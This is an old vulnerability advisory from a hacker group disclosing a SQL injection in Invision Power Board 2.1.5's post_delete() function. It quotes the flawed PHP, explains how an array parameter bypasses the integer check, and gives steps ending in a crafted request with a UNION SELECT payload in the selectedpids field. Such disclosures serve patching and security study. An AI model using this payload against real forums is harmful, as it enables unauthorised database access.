invision215.txt

`Invision Power Board v2.1.5 Remote SQL Injection  
  
Filename :- func_mod.php  
Functionname :- post_delete()  
Lines :- 89 To 209  
  
Bug Found By :- Devil-00  
  
Greetz :-  
Rock Master ^ Hackers Pal ^ n0m4rcy ^  
www.securtygurus.net  
  
[Code]  
  
if ( is_array( $id ) )  
{  
if ( count($id) > 0 )  
{  
$pid = " IN(".implode(",",$id).")";  
}  
else  
{  
return FALSE;  
}  
}  
else  
{  
if ( intval($id) )  
{  
$pid = "=$id";  
}  
else  
{  
return FALSE;  
}  
}  
  
[/CODE]  
  
When $id = array .. the code don't check it if ( INTVAL )  
  
[CODE]  
if ( count($id) > 0 )  
{  
$pid = " IN(".implode(",",$id).")";  
}  
[/CODE]  
  
Then We Can Do SQL Injection Here >>  
  
[CODE]  
$this->ipsclass->DB->simple_construct( array( 'select' => 'pid, topic_id', 'from' => 'posts', 'where' => 'pid'.$pid ) );  
[/CODE]  
  
And Here >>  
  
[CODE]  
$this->ipsclass->DB->simple_construct( array( 'select' => '*', 'from' => 'attachments', 'where' => "attach_pid".$pid ) );  
[/CODE]  
  
Cuz We Have 2 Querys With diffiernt Tabels Number We Can't Use UNION To Exploit :( Baaad :(  
  
Exm. To Exploit  
  
1- First Add 2 Post  
2- Check It To Delete  
3- Edit String Query By HTTPLiveHeader  
  
[CODE]  
act=mod&auth_key=2b71da21cbacba35ccf6fc04fe807d9a&st=0&selectedpids=-1) UNION SELECT 1,3/*&tact=delete  
[/CODE]  
  
`